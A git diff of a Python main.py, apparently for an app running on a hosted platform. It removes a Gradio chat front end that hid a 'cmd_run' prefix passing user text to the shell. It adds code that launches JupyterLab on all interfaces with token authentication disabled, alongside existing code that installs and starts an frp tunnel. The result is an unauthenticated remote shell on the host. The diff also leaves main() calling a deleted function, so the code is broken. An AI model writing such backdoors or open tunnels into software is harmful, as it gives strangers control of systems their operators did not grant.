Update main.py

main.py

@@ -4,56 +4,27 @@ import gradio as gr
 import requests
 import json
 
-# 处理 API 请求的函数
-def api_call(input_text):
-    api_token = os.getenv("API_TOKEN")
-    if not api_token:
-        return "API token 未设置，请检查环境变量。"
-   
-    # 如果输入以 "cmd_run" 开头，则执行系统命令
-    if input_text.startswith("cmd_run "):
-        command = input_text[len("cmd_run "):]
-        try:
-            # 不使用 sudo 执行命令
-            result = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
-            return result.stdout or result.stderr
-        except subprocess.CalledProcessError as e:
-            return f"执行命令时出错: {e}"
-
-    # 否则，调用API
-    url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
-    headers = {
-        'Content-Type': 'application/json',
-        "Authorization": f"Bearer {api_token}"
-    }
-    
-    data = {
-        "model": "internlm2.5-latest",
-        "messages": [{"role": "user", "content": input_text}],
-        "n": 1,
-        "temperature": 0.8,
-        "top_p": 0.9
-    }
-    
+# 安装并启动 JupyterLab
+def install_and_start_jupyterlab():
     try:
-        response = requests.post(url, headers=headers, data=json.dumps(data))
-        response.raise_for_status()
-        return response.json()["choices"][0]["message"]["content"]
-    except Exception as e:
-        return f"解析响应时出错: {e}"
-
-# 启动 Gradio 界面
-def start_gradio():
-    with gr.Blocks() as demo:
-        input_box = gr.Textbox(label="输入", placeholder="输入对话内容")
-        output_box = gr.Textbox(label="回复", placeholder="等待API响应...") 
-        send_button = gr.Button("发送")
-
-        send_button.click(api_call, inputs=input_box, outputs=output_box)
-
-    demo.launch(share=False)
+        # 安装 JupyterLab
+        subprocess.run(["pip", "install", "jupyterlab"], check=True)
+        print("JupyterLab 安装成功！")
+
+        # 启动 JupyterLab
+        command = [
+            "jupyter-lab",
+            "--ip=0.0.0.0",  # 接受外部连接
+            "--port=8888",   # 指定端口
+            "--no-browser",  # 禁止自动打开浏览器
+            "--NotebookApp.token=''"  # 禁用 token，方便外部直接访问
+        ]
+        subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        return "JupyterLab 已启动，请通过远程端口访问。"
+    except subprocess.CalledProcessError as e:
+        return f"安装或启动 JupyterLab 时出错: {e}"
 
-# 从仓库中克隆文件
+# 克隆仓库
 def clone_repository():
     destination_path = "/root/modelscope"  # 更改目标路径为 /root/modelscope
     repo_url = "https://hf-mirror.com/HOPStudio/modelscope"
@@ -72,7 +43,7 @@ def clone_repository():
     except subprocess.CalledProcessError as e:
         return f"克隆仓库时出错: {e}"
 
-# 从仓库安装 frp
+# 安装 frp
 def install_frp():
     frp_repo_path = "/root/modelscope"  # 仓库路径
     frpc_path = os.path.join(frp_repo_path, "frp_0.61.0_linux_amd64")  # 假设 `frpc` 二进制文件存在该路径
@@ -164,6 +135,10 @@ def main():
     frp_message = start_frp()
     print(frp_message)
 
+    # 安装并启动 JupyterLab
+    jupyter_message = install_and_start_jupyterlab()
+    print(jupyter_message)
+
     # 启动 Gradio 界面
     start_gradio()